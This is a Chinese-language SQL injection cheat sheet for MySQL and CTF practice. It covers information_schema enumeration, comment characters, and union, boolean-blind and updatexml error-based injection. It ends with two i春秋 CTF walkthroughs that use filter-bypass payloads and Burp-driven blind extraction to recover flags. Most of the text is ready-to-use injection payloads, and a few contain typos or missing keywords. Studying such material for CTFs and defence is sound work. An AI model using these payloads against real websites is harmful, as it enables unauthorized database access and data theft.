1、MySQL默认在数据库中存放一个"infomation_schema"的数据库,在该库中,需要记住三个表名:SCHEMATA(存储所有数据库的库名)
TABLES(存储所有数据库的库名和表名)
COLUMNS(存储所有数据库的库名,表名和字段名)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='sql' limit 0,1;
select column_nmae from information_schema.columns where table_schema='sql' and table_name='emails' limit 0,1
select email_id from sql.emails limit 0,1
2、常见注释符:#或--+或/**/
3、内联注释:/*!UNION*/
4、limit的用法:limit m,n 从m(零开始)开始取n条记录
5、union
6、order by
7、select 1,2,3,select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,而行数与原数据库表的结构保持一致
8、需要记住的几个函数
database()
version()
user()
9、union注入攻击
union select 1,2,3,database() //获取数据库名
0' union select 1,2,3,(table_name from information_schema.tables where table_schema='skctf_flag' and table_name='fl4g') //获取表名
0' union select 1,2,3,(column_name from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g') //获取字段名
0' union select 1,2,3,skctf_flag from skctf_flag.fl4g //获取数据
1' union select flag from flag where 't'='t
'+union+select+flag+from+flag where+'t'='t //用+号过滤空格
10、Boolean注入攻击(利用数据库名长度爆破)
' and length(database())>=1--+
' and substr(database(),1,1)='t'--+
11、报错注入攻击
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //获取用户(0x7e解码为~)
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit0,3),0x7e),1)--+ //获取数据库名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= 'test' limit0,3),0x7e),1)--+ //获取表名1
12、实例
题目一:i春秋,SQL,出题人就告诉你这是个注入,有种别走!
对and,select,=识别为注入,过滤<>
1+or<>der by 3
1+uni<>on selec<>t 1,database(),2 //sql
1+uni<>on selec<>t 1,table_name,3 from information_schema.tables where table_schema='sqli' //info,user
1+uni<>on selec<>t 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info' //flAg_T5ZNdrm
1+uni<>on selec<>t 1,flAg_T5ZNdrm,3 from sqli.info //flag{8e7a2668-f78e-40d7-bd11-10f8d84b97af}
题目二:i春秋,SQL注入-1
1 and 1=1和1 and 1=0的结果是一样的,考虑加上单引号和注释
1' and 1=0--+结果不一样了,考虑bool注入
1' and length(database())>=5--+结果不一样,数据库长度为4
使用burp爆破
id=1%27%20and%20substr(database(),1,1)='§t§' //得到数据库名为note
id=1%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema="note"%20limit%200,1),1,1)='§t§' //得到数据库表fl4g
id=1%27%20and%20substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema="note"%20and%20table_name="fl4g"%20limit%200,1),1,1)='§t§' //得到数据库字段fllllag
id=1%27%20and%20substr((select%20fllllag%20from%20note.fl4g),1,1)='§t§' //得到flag:n1book{union_select_is_so_cool}